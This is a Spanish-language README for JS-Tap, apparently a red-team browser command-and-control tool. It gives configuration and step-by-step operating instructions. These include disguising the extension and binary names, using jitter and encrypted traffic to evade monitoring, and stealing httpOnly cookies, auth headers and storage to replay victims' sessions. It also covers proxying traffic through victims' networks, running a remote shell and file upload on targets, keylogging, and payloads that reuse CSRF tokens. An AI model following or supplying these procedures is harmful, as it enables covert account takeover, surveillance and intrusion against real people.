Cuando proxyMode está configurado como false, JS-Tap se ejecutará con un certificado autofirmado, lo cual es útil para pruebas. La IP del cliente se tomará de la IP de origen del cliente que se conecta.
El parámetro dataDirectory le dice a JS-Tap qué directorio usar para la base de datos SQLite y el directorio de loot. No todo el "loot" se almacena en la base de datos, particularmente las capturas de pantalla y los archivos HTML extraídos no lo están.
Para cambiar la configuración del puerto del servidor, consulta la última línea de jsTapServer.py``` app.run(debug=False, host='0.0.0.0', port=8444, ssl_context='adhoc')
### Configuración del Beacon BEX (config.json)
Ubicado en `bex-beacon/config.json`. Esta es la **única fuente de verdad** para toda la configuración de compilación: extensiones, IDs de extensión y configuraciones del sidecar.```json
{
"extension": {
"name": "Resource Optimizer",
"short_name": "ResOpt",
"version": "2.1.4",
"description": "Optimizes page resource loading for improved performance.",
"author": "WebPerf Tools",
"homepage_url": "https://www.example.com",
"install_dirname": "webperf-tools"
},
"extension_ids": {
"chrome_key": "",
"chrome_key_pem": "",
"chrome_extension_id": "",
"firefox_extension_id": "bex-beacon@jstap"
},
"js_tap_server": {
"domain": "127.0.0.1",
"port": 8444
},
"heartbeat": {
"base_interval": 5,
"jitter_percent": 30
},
"domain_scoping": {
"whitelist_enabled": false,
"whitelist": [
"https://*.example.com/*",
"http://localhost:8000/*"
]
},
"sidecar": {
"enabled": false,
"host_name": "com.jstap.sidecar",
"binary_name": "sidecar"
}
}
Controla los metadatos del manifiesto de la extensión y el nombre del despliegue. Cambia estos campos para disfrazar la apariencia de la extensión en chrome://extensions o about:addons.
Controla los IDs estáticos de las extensiones para compilaciones deterministas. Consulta IDs de extensión estáticos para instrucciones de configuración.
| Campo | Descripción |
|---|---|
domain | Nombre de host o IP de tu servidor JS-Tap. |
port | Puerto en el que escucha el servidor JS-Tap. |
Controla la frecuencia con la que el beacon se comunica con el servidor para reportar telemetría y recoger nuevas tareas (como comandos de inyección o comandos sidecar).
| Campo |
|---|
El jitter es importante para OPSEC: evita que el beacon cree un patrón de red perfectamente regular que podría ser detectado por herramientas de monitoreo de red. Cada heartbeat programa el siguiente con aleatoriedad fresca.
Controla qué dominios el beacon monitorea e interactúa.
| Campo | Descripción |
|---|---|
Cuando la lista blanca está habilitada, el beacon la aplica en múltiples capas:
Esto es crítico para compromisos de equipo rojo con requisitos de alcance estrictos. Configurar whitelist_enabled: true asegura que el beacon no interactuará con dominios fuera del alcance.
Ejemplos de patrones de lista blanca:```json "whitelist": [ "https://.targetcorp.com/", "https://app.targetcorp.com/", "http://internal.targetcorp.local:8080/" ]
#### sidecar
Controla la funcionalidad opcional de mensajería nativa en el BEX Beacon. Consulte la sección [Sidecar](#sidecar-native-messaging) anterior para obtener todos los detalles.
| Campo | Descripción |
|---|---|
| `enabled` | `false` = sin mensajería nativa (predeterminado). `true` = habilitar soporte sidecar. Añade el permiso `nativeMessaging` al manifiesto de la extensión. |
| `host_name` | El nombre del host de mensajería nativa. Predeterminado: `com.jstap.sidecar` |
| `binary_name` | Nombre del binario compilado del sidecar. Predeterminado: `sidecar`. Cambie esto para disimular el binario en sistemas de destino (p. ej. `chrome-helper`). |
El script de compilación unificado sincroniza automáticamente los IDs de extensión de `extension_ids` con la configuración del sidecar, por lo que solo necesita configurar los IDs en un solo lugar.
### Configuración del Payload JS-Tap (telemlib.js)
Estas variables de configuración están en la función **initGlobals()**.
#### Ubicación del servidor JS-Tap
Debe configurar el payload con la URL del servidor JS-Tap al que se conectará.```
window.taperexfilServer = "https://127.0.0.1:8444";
Configurado como trap o implant Esto se configura con la variable:``` window.taperMode = "trap"; or window.taperMode = "implant";
#### Página de inicio del modo trampa
Solo necesario para el modo trampa. Vea la explicación en la sección **Modos de operación** anterior.<br>
Establece la página en la que el usuario comienza cuando se configura la trampa iFrame.```
window.taperstartingPage = "http://targetapp.com/somestartpage";
Si deseas que la trampa comience en la página actual, en lugar de redirigir al usuario a una página diferente en la trampa iframe, puedes usar:``` window.taperstartingPage = window.location.href;
#### Client Tag
Útil si estás usando JS-Tap contra múltiples aplicaciones o implementaciones a la vez y deseas un indicador visual de qué payload se cargó. Recuerda que todo el directorio /payloads se sirve, puedes tener múltiples payloads de JS-Tap configurados con diferentes modos, páginas de inicio y etiquetas de cliente.
Esta cadena de etiqueta (¡mantenla corta!) se antepone al apodo del cliente en el portal de JS-Tap. Configura múltiples payloads, cada uno con la configuración adecuada para la aplicación contra la que se usa, y añade una etiqueta que indique qué aplicación está ejecutando el cliente.```
window.taperTag = 'whatever';
Se usa para configurar si los clientes están verificando tareas de Custom Payload y con qué frecuencia lo hacen. La configuración de jitter Le permite opcionalmente establecer un modificador mínimo y máximo. Se elegirá un valor aleatorio entre estos dos números y se añadirá al retardo de verificación. Establezca estos en 0 y 0 para que no haya jitter.``` window.taperTaskCheck = true; window.taperTaskCheckDelay = 5000; window.taperTaskJitterBottom = -2000; window.taperTaskJitterTop = 2000;
#### Identificación del Cliente
Esto se puede habilitar para calcular una huella digital del cliente basada en numerosos atributos. Se crea un hash muy corto a partir de esta identificación. Este hash corto puede mostrarse opcionalmente en la tarjeta del cliente activándolo en **App SettingS**. El filtro de la lista de clientes puede filtrarse por esta huella digital para identificar múltiples clientes de JS-Tap que probablemente se estén ejecutando en el mismo ordenador. Tenga en cuenta que si una empresa entrega sistemas idénticos a los usuarios, podrían terminar fácilmente con el mismo valor de huella digital.
Para habilitar los cálculos de huella digital en el payload de JS-Tap:```
window.taperFingerprint = true;
Incluso si se está calculando la huella digital, no se mostrará en las tarjetas de cliente a menos que la función también esté habilitada en Configuración de la aplicación.
Nota: puede filtrar la lista de clientes por fingerpring hashes para mostrar los clientes que tienen más probabilidades de ser el mismo equipo.
Configuración verdadero/falso que indica si se exfiltra una copia del código HTML de cada página visitada. Estos archivos HTML exfiltrados son necesarios para encontrar fuentes de tokens CSRF al autogenerar cargas útiles personalizadas de envío de formularios.``` window.taperexfilHTML = true;
#### Copiar envíos de formularios
Configuración verdadero/falso para determinar si se debe interceptar una copia de todos los envíos de formularios.```
window.taperexfilFormSubmissions = true;
Habilita la suplantación de parches (monkeypatching) de las APIs XHR y Fetch. Esto funciona en modo trampa. En modo implante, solo se suplantan las APIs Fetch. El monkeypatching permite reescribir JavaScript en tiempo de ejecución. Habilitar esta función reescribirá las APIs de red XHR y Fetch utilizadas por el código JavaScript para interceptar el contenido de esas llamadas de red. Tenga en cuenta que las llamadas de red basadas en jQuery y Ajax se capturarán en la API XHR, que utilizan internamente para las llamadas de red. La generación automática de payloads personalizados para llamadas a la API depende, por supuesto, de la interceptación de dichas llamadas mediante esta característica de monkeypatching.``` window.monkeyPatchAPIs = true;
## Portal JS-Tap
Inicie sesión con las credenciales de administrador proporcionadas por el script del servidor al inicio (también guardadas en `adminCreds.txt`).
### Gestión de Clientes
Los clientes aparecen a la izquierda, agrupados por tipo. Use los botones de alternancia en la parte superior de la lista de clientes para cambiar entre vistas.
* **Apps** — clientes DOM Beacon (de cargas útiles telemlib.js)
* **Navegadores** — clientes BEX Beacon
* **Electrons** — clientes Atom Beacon (de aplicaciones Electron parcheadas)
* **Nodes** — clientes V8 Beacon (de aplicaciones CLI Node.js/Bun)
Seleccionar un cliente mostrará una serie temporal de sus eventos (botín) a la derecha. Si filtra la lista (por ejemplo, cambiando de Apps a Navegadores), la vista de botín seleccionada actualmente se atenuará y se volverá en escala de grises para indicar que son datos de "fondo".
Cuando esté en la vista **Navegadores**, el encabezado de la columna de detalles muestra una alternancia **Botín / Herramientas**:
* **Pestaña Botín** — Tarjetas de dominio que muestran dominios visitados y controles de inyección.
* **Pestaña Herramientas** — Panel de Proxy del Navegador (siempre visible) y panel Sidecar (plegable, si el beacon lo soporta).
Los clientes Atom Beacon (en la vista **Electrons**) y los clientes V8 Beacon (en la vista **Nodes**) también tienen una alternancia **Botín / Herramientas**. Su panel de Herramientas proporciona exploración de archivos y acceso a shell integrados sin necesidad de un binario sidecar separado. Los Atom Beacons también tienen controles de captura de pantalla.
**BEX Beacons (Navegadores)** se pueden expandir para ver todos los dominios que han visitado. Puede activar la inyección DOM Beacon desde la lista de dominios. Las tarjetas BEX Beacon en la barra lateral mostrarán un resumen de cualquier DOM Beacon que hayan generado exitosamente.
La lista de clientes se puede ordenar por tiempo (primera vez visto, última actualización recibida) y la lista se puede filtrar para mostrar solo los clientes "destacados". También hay una búsqueda de filtro rápido sobre la lista de clientes que le permite filtrar rápidamente los clientes que contienen la cadena ingresada. Útil si establece una etiqueta opcional en la configuración de la carga útil. Las etiquetas opcionales aparecen antepuestas al apodo del cliente. El filtro se verifica contra la etiqueta opcional, apodo, dirección IP, huella digital, navegador, plataforma, tipo de cliente, dominio y UUID. Tenga en cuenta que puede invertir la búsqueda de filtro anteponiendo su término de búsqueda con un '!'. Por ejemplo, para mostrar todos los clientes que no usan Firefox, use el término de filtro "!firefox". Puede combinar múltiples términos con `&&` para lógica Y (por ejemplo, `linux && chrome && !bex`).
Cada cliente tiene un botón 'x' (cerca del botón de estrella). Esto le permite eliminar la sesión para ese cliente; si están enviando basura o datos inútiles, puede evitar que ese cliente envíe datos futuros.
Cuando la carga útil de JS-Tap se inicia, recupera una sesión del servidor JS-Tap. Si desea detener la emisión de nuevas sesiones de cliente, seleccione **Configuración de la Aplicación** en la parte superior y puede deshabilitar nuevas sesiones de cliente. También puede habilitar la visualización de "huellas digitales" del cliente, que son valores hash muy cortos que deberían ser únicos para el navegador de un usuario en un sistema particular. Esto puede ayudar a identificar qué clientes JS-Tap podrían ser en realidad el mismo individuo. Tenga en cuenta que el cliente JS-Tap debe estar configurado para realizar los cálculos de huella digital. La barra de búsqueda de filtro de cliente también busca en el campo de huella digital, por lo que es fácil mostrar clientes con huellas digitales idénticas.
También puede configurar notificaciones por correo electrónico en **Configuración de la Aplicación** para notificar sobre nuevos clientes o nuevos eventos para clientes. Esto se basa únicamente en SMTP (TLS), y puede hacer que los correos de notificación vayan a múltiples destinatarios. Una opción de "retardo de correo electrónico" evita el spam constante de correos electrónicos; recibirá un correo electrónico resumen de todas las notificaciones que ocurrieron en el período de retardo.
Puede cambiar la frecuencia de actualización automática de la lista de clientes en **Configuración de la Aplicación** y también puede bloquear direcciones IP específicas para que no reciban una sesión de JS-Tap aquí.
Si desea ocultar mejor el tráfico de red de JS-Tap de la inspección, en **Configuración de la Aplicación** habilite la ofuscación de tráfico. Esto funcionará en aplicaciones que usen HTTPS donde la API webcrypto esté disponible. El cliente JS-Tap cifrará todo el tráfico a nivel de aplicación y lo enviará a un único endpoint de API en el servidor C2, que lo descifrará y lo enrutará del lado del servidor. Las respuestas del C2 de JS-Tap (como cargas útiles personalizadas) también provienen de este único endpoint de API y también están cifradas. Tenga en cuenta que si el navegador intervenido no admite la API web crypto, JS-Tap recurrirá al tráfico tradicional no ofuscado.
Cada cliente tiene una función de "notas". Si encuentra información jugosa para ese cliente en particular (credenciales, tokens de API, etc.), puede agregarla a las notas del cliente. Después de haber revisado todos sus clientes y tomado sus notas, la función **Ver todas las notas** en la parte superior le permite exportar todas las notas de todos los clientes a la vez.
La lista de eventos se puede filtrar por tipo de evento si está tratando de enfocarse en algo específico, como capturas de pantalla. Para los clientes DOM Beacon, la lista de eventos/botín _no_ se actualiza automáticamente (la lista de clientes sí); si desea cargar los últimos eventos, debe seleccionar el cliente nuevamente a la izquierda. Los clientes Atom Beacon y BEX Beacon utilizan una vista de eventos de actualización automática que agrega nuevos eventos de forma incremental sin restablecer su posición de desplazamiento.
### Inyección BEX
Al ver la inteligencia de dominio de un Beacon, puede hacer clic en **Inyectar DOM Beacon** para poner en cola una inyección.
* Aparecerá una insignia "SUCCESS" una vez que se solicite el script de inyección.
* El apodo del DOM Beacon generado se vinculará y mostrará automáticamente en la tarjeta de dominio y en la tarjeta de la barra lateral del beacon.
* Las inyecciones ocurren inmediatamente si el usuario está actualmente en el dominio de destino, o en la próxima visita.
### Tickets JS-Tap & Conductor JS-Tap (Clonación de Sesión)
El BEX Beacon captura cookies (incluyendo httpOnly), localStorage, sessionStorage y encabezados de autorización para cada dominio que visita el objetivo. **JS-Tap Tickets** le permiten exportar todos esos datos de sesión como un blob portátil, y **JS-Tap Conductor** los reproduce en su propio navegador para que pueda navegar como la víctima.
#### Generar un Ticket JS-Tap
1. En el portal JS-Tap, seleccione un cliente BEX Beacon y expanda su lista de dominios.
2. Haga clic en el botón **Session Ticket** en la tarjeta de dominio que desea clonar.
3. El ticket se copia en su portapapeles como una cadena codificada en base64.
Un ticket contiene:
* Todas las cookies para el dominio (con metadatos httpOnly, secure, sameSite, path, domain y expiration)
* Encabezados de solicitud capturados (Authorization, x-api-key, etc.)
* Pares clave/valor de localStorage y sessionStorage
* La cadena User-Agent sin procesar de la víctima, plataforma y navegador
* URLs visitadas para el dominio (más recientes primero)
**Importante:** Asegúrese de generar el ticket desde la entrada de dominio correcta. Por ejemplo, `reddit.com` y `www.reddit.com` son entradas de dominio separadas en los datos del beacon; elija la que tenga las cookies de autenticación.
#### Instalar JS-Tap Conductor
JS-Tap Conductor es una extensión independiente de Firefox MV2. **Debe ser Firefox** — se basa en la API `webRequestBlocking` de MV2 de Firefox para inyectar encabezados en las solicitudes salientes, lo cual Chrome MV3 no admite.
Para cargarlo como una extensión temporal:
1. Abra Firefox y navegue a `about:debugging#/runtime/this-firefox`
2. Haga clic en **"Load Temporary Add-on..."**
3. Navegue al directorio `jstap-conductor/` y seleccione `manifest.json`
El icono de JS-Tap Conductor (el logotipo de JS-Tap) aparecerá en la barra de herramientas de Firefox. Las extensiones temporales persisten hasta que se cierra Firefox; deberá volver a cargarlas después de un reinicio.
#### Usar JS-Tap Conductor
1. Haga clic en el icono de JS-Tap Conductor en la barra de herramientas para abrir el popup.
2. Pegue el ticket JS-Tap en el área de texto y haga clic en **Import**.
3. JS-Tap Conductor hará lo siguiente:
* **Establecerá todas las cookies** para el dominio, incluyendo cookies httpOnly (las extensiones tienen este privilegio).
* **Registrará la inyección de encabezados** — Los encabezados Authorization y otros encabezados capturados se inyectan en cada solicitud coincidente a través de `webRequest.onBeforeSendHeaders`.
* **Suplantará el User-Agent** — La cadena User-Agent de la víctima reemplaza la suya en todos los encabezados de solicitud salientes para ese dominio.
* **Rellenará el almacenamiento** — Las entradas de localStorage y sessionStorage se escriben cuando navega al dominio.
* **Suplantará las APIs de navigator** — Incluso si está ejecutando Firefox, `navigator.userAgent`, `navigator.platform` y `navigator.appVersion` se modifican (monkeypatch) en el contexto JavaScript de la página para devolver los valores de la víctima. Esto elude las comprobaciones de UA del lado del cliente.
4. Haga clic en **Open** en el ticket importado para navegar a la primera URL capturada, o navegue manualmente al dominio.
5. Ahora debería estar navegando como la sesión de la víctima.
El popup muestra un **historial de tickets** (últimos 10 tickets) con recuentos de insignias para cookies, encabezados, localStorage y sessionStorage. Tanto los tickets de sesión como los tickets de proxy aparecen en el historial. Cada ticket se puede activar/desactivar o eliminar. Los tickets de proxy se distinguen visualmente con una insignia "proxy" que muestra el puerto de destino y los dominios.
Use **Deactivate** para deshabilitar la inyección de sesión de un ticket sin perderlo, o **Delete** para eliminarlo permanentemente.
#### Verificar que Funciona
* **Cookies:** Abra las herramientas de desarrollador de Firefox → Storage → Cookies. Debería ver todas las cookies importadas, incluyendo las httpOnly.
* **Encabezados:** Abra las herramientas de desarrollador → Network. Compruebe que los encabezados Authorization y User-Agent en las solicitudes salientes coincidan con los valores de la víctima.
* **Almacenamiento:** Abra las herramientas de desarrollador → Storage → Local Storage / Session Storage. Verifique que las claves importadas estén presentes.
* **Suplantación de navigator:** Abra la consola del navegador y escriba `navigator.userAgent` — debería devolver la cadena UA de la víctima, no la de Firefox.
### Proxy del Navegador
El Proxy del Navegador le permite enrutar el tráfico de su navegador a través del navegador de la víctima (o proceso Node.js/Electron) en tiempo real. Las solicitudes se ejecutan desde el contexto de red de la víctima, por lo que el sitio de destino ve la IP y la huella digital TLS de la víctima.
El proxy es compatible con **BEX Beacons**, **Atom Beacons** y **V8 Beacons**.
#### Cómo Funciona
1. Seleccione un beacon en el portal y cambie a la pestaña **Herramientas**.
2. Haga clic en **Start Proxy** en el panel de Proxy del Navegador. El servidor asigna un puerto local (mostrado en el panel).
3. Configure su navegador para usar `127.0.0.1:<puerto>` como proxy HTTP/HTTPS.
4. Descargue el **Certificado CA** e instálelo en el almacén de certificados de su navegador (necesario para MITM HTTPS).
5. Navegue con normalidad: todas las solicitudes se reenvían a través de la conexión WebSocket del beacon y se ejecutan desde la red de la víctima.
El proxy realiza la terminación TLS utilizando certificados por dominio generados dinámicamente firmados por la CA de JS-Tap. Esto le permite inspeccionar y retransmitir el tráfico HTTPS de forma transparente.
#### Flujos de Trabajo Componibles
El proxy es un "tubo tonto" — reenvía exactamente lo que envía el navegador del operador, sin inyectar ni modificar credenciales. Esto lo hace componible con Tickets de Sesión para cuatro flujos de trabajo distintos:
| Flujo de Trabajo | Configuración | Resultado |
|---|---|---|
| **Solo proxy** | Iniciar proxy, sin ticket de sesión | Navegación no autenticada a través de la red/IP de la víctima |
| **Solo ticket de sesión** | Importar ticket de sesión en el Conductor, sin proxy | Navegación autenticada directamente desde la IP del operador |
| **Proxy + ticket de sesión** | Tanto proxy como ticket de sesión activos | Navegación autenticada a través de la red de la víctima — el Conductor inyecta cookies/encabezados/UA en el navegador del operador, el proxy MITM los reenvía al beacon |
| **Proxy + inicio de sesión propio** | Iniciar proxy, iniciar sesión manualmente a través del proxy | Sesión propia del operador a través de la red de la víctima |
Para el flujo de trabajo **Proxy + ticket de sesión**, el JS-Tap Conductor maneja toda la inyección de sesión (cookies, encabezados, User-Agent, almacenamiento, suplantación de navigator). El proxy MITM reenvía la solicitud completa del operador — incluyendo los encabezados inyectados — al beacon, que ejecuta la fetch desde la red de la víctima.
#### Tickets de Proxy
Mientras el proxy está activo, puede hacer clic en **Proxy Ticket** para generar un ticket compatible con JS-Tap Conductor que configura automáticamente los ajustes de proxy del Conductor. Importe el ticket de proxy en el Conductor para enrutar el tráfico de Firefox a través del beacon sin configurar manualmente los ajustes de proxy.
### Usar el Panel Sidecar / Herramientas
Cuando un cliente BEX Beacon tiene el Sidecar conectado, la pestaña **Herramientas** mostrará un panel **Sidecar** (plegado por defecto, debajo del panel de Proxy del Navegador). Los clientes Atom Beacon y V8 Beacon muestran el mismo panel como **Herramientas** con una insignia **Built-in** (ya que el acceso al sistema operativo es nativo del agente). El panel tiene pestañas:
#### Pestaña Explorador de Archivos
* El explorador de archivos lista automáticamente el directorio home del usuario cuando el panel se carga por primera vez
* Navegue haciendo clic en los nombres de las carpetas o en la entrada `..` para subir un nivel de directorio
* La entrada de ruta siempre refleja su ubicación actual y se puede editar manualmente
* Haga clic en **Read** en un archivo para ver su contenido (decodificado en base64 y mostrado como texto)
* Haga clic en **Back to directory listing** para regresar de la vista de archivo
* **Upload:** Seleccione un archivo y haga clic en **Upload** para escribirlo en el directorio actualmente navegado. El listado se actualiza automáticamente después de una subida exitosa. El tamaño máximo de archivo es de 700 KB.
#### Pestaña Shell
* Una terminal interactiva con seguimiento del directorio de trabajo actual (CWD) entre comandos
* El prompt muestra su directorio actual en el sistema de destino (por ejemplo, `/home/user $ `)
* Escriba un comando y presione **Enter** o haga clic en **Run** para ejecutarlo
* El CWD persiste entre comandos (`cd /tmp` seguido de `ls` listará `/tmp`)
* **Historial de comandos:** Use las teclas **Arriba/Abajo** para recorrer comandos anteriores
* **Pop Out:** Haga clic en el botón **Pop Out** para abrir el shell en una ventana independiente con su propia barra de título, historial de comandos completo y operación independiente
* La salida tiene código de colores: verde para prompts, blanco para stdout, rojo para stderr
* El seguimiento de CWD usa sintaxis de shell POSIX y funciona en objetivos Linux/macOS
#### Pestaña Capturas de Pantalla (solo Atom Beacon)
* **Capture Now** — Activar manualmente una captura de pantalla de todas las ventanas rastreadas
* **Alternancias de captura automática** — Habilitar/deshabilitar capturas de pantalla automáticas en eventos de enfoque de ventana, navegación y nuevas ventanas
* **Cooldown** — Segundos mínimos entre capturas automáticas por ventana (por defecto: 30, mínimo: 5)
* Haga clic en **Save Settings** para enviar los cambios de alternancia/cooldown al agente en tiempo real
**Nota:** Los comandos son asíncronos. Cuando envía un comando, la interfaz de usuario consulta los resultados. El beacon/agente debe registrarse (heartbeat) para recoger el comando y enviar el resultado de vuelta. Con la configuración de heartbeat predeterminada, espere unos segundos de retraso.
### Cargas Útiles Personalizadas
Se pueden agregar múltiples cargas útiles JavaScript en el portal JS-Tap y ejecutarlas en un solo cliente, en todos los clientes actuales, o configurarlas para que se ejecuten automáticamente en todos los clientes futuros. Las cargas útiles se pueden escribir/editar dentro del portal JS-Tap, o importar desde un archivo. Las cargas útiles también se pueden exportar. El formato para importar cargas útiles es JSON simple. El código JavaScript y la descripción simplemente están codificados en base64.```
[{"code":"YWxlcnQoJ1BheWxvYWQgMSBmaXJpbmcnKTs=","description":"VGhlIGZpcnN0IHBheWxvYWQ=","name":"Payload 1"},{"code":"YWxlcnQoJ1BheWxvYWQgMiBmaXJpbmcnKTs=","description":"VGhlIHNlY29uZCBwYXlsb2Fk","name":"Payload 2"}]
Si tu payload personalizado necesita extraer datos, puedes usar el método customExfil(note, data). Llamar a este método en tu payload personalizado enviará ese texto de vuelta a JS-Tap y se mostrará como un evento en los datos del botín.
La interfaz de usuario principal para payloads personalizados se encuentra en la barra de menú superior. Selecciona Custom Payloads para abrir la interfaz. Cualquier payload existente se mostrará en una lista a la izquierda. La barra de botones te permite importar y exportar la lista. Los payloads se pueden editar en el lado derecho, aunque puedes presionar el botón Expand Code para obtener un panel de edición de código más grande. Para cargar un payload existente y editarlo, selecciona el payload haciendo clic en él en la lista Saved Payloads. Una vez que tengas payloads definidos y guardados, puedes ejecutarlos en los clientes.
En la vista principal de Custom Payloads puedes lanzar un payload contra todos los clientes actuales (el botón Run). También puedes activar el atributo Autorun de un payload, lo que significa que todos los clientes nuevos ejecutarán el payload. Ten en cuenta que los clientes existentes no ejecutarán un payload basado en la configuración de Autorun.
Puedes activar Repeat y el payload se asignará a cada cliente cuando verifiquen tareas. Recuerda que la frecuencia con la que un cliente verifica las tareas de payload personalizado es variable, y esa frecuencia se puede cambiar en la configuración principal del payload de JS-Tap. Esa frecuencia se puede cambiar con un payload personalizado (llamando a la función updateTaskCheckInterval(newDelay)). La fluctuación en el retardo de verificación de tareas se puede configurar con la función updateTaskCheckJitter(newTop, newBottom).
El botón Clear All Jobs en la UI de payloads personalizados eliminará todos los trabajos de payload personalizado de la cola para todos los clientes y restablecerá las alternancias de ejecución automática/repetida.
Para ejecutar un payload en un solo cliente, usa el botón Run Payload en el cliente específico donde deseas ejecutarlo, y luego presiona el botón Run para el payload específico que deseas usar. También puedes configurar Repeat en clientes individuales.
Las reglas de segmentación te permiten ejecutar automáticamente payloads en clientes que coincidan con criterios específicos, en lugar de seleccionar manualmente clientes individuales o ejecutar ciegamente en todos los clientes.
Haz clic en el botón Add Rule en un payload para crear una regla de segmentación. Las reglas utilizan la misma sintaxis de filtro que la barra de búsqueda de clientes:
&& para combinar términos (ej. linux && chrome)! para negarlo (ej. !bex-beacon)Ejemplo: linux && chrome && !bex coincidirá con todos los clientes Linux Chrome que no sean BEX Beacons.
Antes de guardar una regla, puedes hacer clic en Preview para ver qué clientes actualmente conectados coincidirían. La vista previa muestra mini tarjetas de cliente con la misma información que la lista principal de clientes (tag/nickname, marcas de tiempo, IP, plataforma, navegador, dominio).
Cada regla de segmentación tiene sus propios controles Autorun, Repeat y Run, que funcionan igual que los botones a nivel de payload pero solo afectan a los clientes que coinciden con la consulta de filtro de la regla. También puedes Editar o Eliminar reglas individuales. Un payload puede tener múltiples reglas de segmentación.
JS-Tap incluye la capacidad de generar automáticamente payloads personalizados. Esta funcionalidad aprovecha la capacidad de interceptar envíos de formularios y llamadas XHR/Fetch API. JS-Tap puede usar esas comunicaciones interceptadas como prototipo para construir un payload.
Los parámetros en la solicitud serán establecidos por variables al comienzo del payload autogenerado, lo que facilita la modificación de la acción que se está realizando. Los envíos de formularios que necesitan un token CSRF, y las llamadas XHR/Fetch API que requieren un encabezado de Autorización serán manejados por el asistente de mimic; puedes seleccionar estos valores en el envío de formulario/llamada API interceptado y JS-Tap buscará en su base de datos para determinar de dónde provienen estos valores.
Se generará un payload que primero obtiene el valor actual de estos elementos en el navegador del usuario, ya que estos valores probablemente serán diferentes con el tiempo y entre diferentes usuarios. Los valores recuperados se utilizarán en la solicitud posterior que pasa tus parámetros modificados al servidor para realizar la acción que se está "imitando".
Si omites la búsqueda de estos valores, la solicitud no los tiene, o JS-Tap no puede encontrar la fuente, se generará un payload que utiliza los tokens CSRF y los valores de encabezado de Autorización de la solicitud interceptada original.
Para usar la función mimic y crear payloads autogenerados, encuentra un envío de formulario interceptado o una llamada API y presiona el botón Create Mimic Payload en la tarjeta del evento en la columna de botín. Esto abrirá el asistente donde seleccionas ya sea un token CSRF (para envíos de formularios) o encabezados de Autorización para llamadas API. Deberás copiar el nombre del parámetro/encabezado en el campo de nombre, y el valor del token en el campo de valor. Una vez hecho esto, presiona el botón Search para permitir que JS-Tap determine dónde se almacenan o recuperan estos valores.
Si JS-Tap encuentra la fuente de esos valores, al presionar siguiente se generará el payload y se ingresará en el sistema C2 como un nuevo payload. Cambia el nombre del payload, la descripción y los valores de los parámetros al comienzo del código generado según tus configuraciones deseadas y guárdalo. Luego puedes ejecutar ese payload en los clientes JS-Tap.
JS-Tap/ ├── buildAll.py # Unified build script (extensions + sidecar + deploy bundles) ├── jsTapServer.py # Flask C2 server (all routes, models, logic) ├── jstapRun.sh # Gunicorn production launcher ├── requirements.txt # Python dependencies ├── index.html # Dashboard HTML ├── login.html # Login page ├── payloads/ │ └── telemlib.js # DOM Beacon payload ├── protectedStatic/ │ └── main.js # All dashboard UI logic ├── proxy/ # Browser Proxy (MITM proxy server) │ ├── server.py # Threaded proxy server, WebSocket relay, MITM TLS │ └── certs.py # Dynamic per-domain certificate generation ├── jstap-conductor/ # Session replay Firefox extension (standalone MV2) │ ├── manifest.json # Firefox MV2 manifest │ ├── icon.svg # Extension icon (JS-Tap logo) │ ├── background/ # Cookie setting, header injection, UA spoofing │ ├── content/ # Storage injection, navigator property spoofing │ └── popup/ # Ticket import UI ├── bex-beacon/ # Browser extension (WXT + legacy) │ ├── config.json # Central configuration (extensions, IDs, sidecar) │ ├── wxt.config.ts # WXT build config │ ├── package.json # Node dependencies │ ├── buildBexBeacon.py # Legacy extension builder │ ├── entrypoints/ │ │ ├── background/ # Service worker (heartbeat, tasks, encryption) │ │ └── content/ # Content script (DOM instrumentation) │ ├── utils/ │ │ ├── config.ts # Config translation + whitelist helpers │ │ ├── crypto.ts # AES-GCM encryption/decryption helpers │ │ ├── proxy.ts # Browser Proxy WebSocket client + fetch relay │ │ └── sidecar.ts # Native messaging module │ ├── src-chrome-extension/ # Legacy Chrome MV3 template │ └── src-firefox-extension/ # Legacy Firefox MV2 template ├── atom-beacon/ # Electron app implant patcher │ ├── atomize.py # Patcher CLI (analyze + patch Electron apps) │ ├── atomize.spec # PyInstaller spec for building atomize.exe (Windows) │ ├── asar.py # Pure-Python ASAR archive handling (extract/pack/patch) │ └── payload/ │ ├── atom-agent.js # Main process agent (C2, encryption, OS access, screenshots) │ └── atom-telemlib.js # Renderer payload (keylogging, DOM capture, network interception) ├── v8-beacon/ # Node.js / Bun CLI implant │ ├── v8ize.py # Build script (template variable replacement) │ └── payload/ │ └── v8-agent.js # V8 Beacon agent (network hooks, stdin capture, C2) ├── plugins/ # Beacon plugins (loaded at runtime via C2) │ ├── example/ # Example plugin template │ │ ├── manifest.json # Plugin metadata (id, name, targetApps, capabilities) │ │ ├── main.js # Plugin entry point (documents full plugin API) │ │ └── ui.html # Optional operator-facing UI panel │ └── mattermost/ # Mattermost-specific plugin ├── sidecar/ # Native messaging Go binary │ ├── main.go # Message loop (native messaging protocol) │ ├── commands.go # Command handlers (list_dir, read_file, exec_cmd) │ ├── go.mod # Go module │ ├── config.json # Auto-synced from central config by buildAll.py │ ├── buildSidecar.py # Cross-compile + generate install scripts │ └── uninstall.sh # Remove sidecar binary + manifests for testing ├── build/ # Build output (gitignored) │ ├── chrome-mv3/ # Unpacked Chrome extension │ ├── firefox-mv2/ # Unpacked Firefox extension │ ├── extension.crx # Packed Chrome extension │ ├── extension.xpi # Packed Firefox extension │ ├── sidecar/ # Sidecar binaries + manifests │ └── deploy/ # Self-contained deploy bundles (.tar.gz/.zip) └── tools/ # Testing utilities ├── clientSimulator.py # Async client simulator (argparse-based) ├── monkeyPatchApp/ # XHR/Fetch monkeypatch test app │ └── monkeyPatchLab.py ├── defconApp/ # XHR test app (defcon level changer) │ └── defconServer.py ├── spaTestApp/ # SPA test app for Fetch API testing │ └── spaServer.py ├── formParser.py # (Legacy) HTML form parser └── generateIntelReport.py # (Legacy) PDF report generator
## Herramientas
Algunas herramientas están incluidas en el subdirectorio tools.
### clientSimulator.py
Un simulador de cliente asíncrono que crea 12 clientes falsos diversos (varias combinaciones de SO/navegador), los registra con el servidor, envía datos de botín realistas y consulta tareas de payload personalizadas. Útil para probar reglas de segmentación, filtrado de coincidencias, comportamiento de ejecución automática/repetitiva y entrega de payloads personalizados.```bash
python3 tools/clientSimulator.py
Opciones:``` --server URL JS-Tap server URL (default: https://127.0.0.1:8444) --loot-rounds N Rounds of fake loot per client (default: 2, 0 = continuous) --poll-interval N Seconds between payload polls (default: 3) --no-loot Register and poll only, skip sending fake loot
JS-Tap ejecutado con gunicorn escala bastante bien.
### MonkeyPatchApp
Una aplicación simple usada para probar el monkeypatching de XHR/Fetch, pero que puede proporcionarte una aplicación simple para probar el payload en general.
Ejecutar con:```bash
python3 tools/monkeyPatchApp/monkeyPatchLab.py
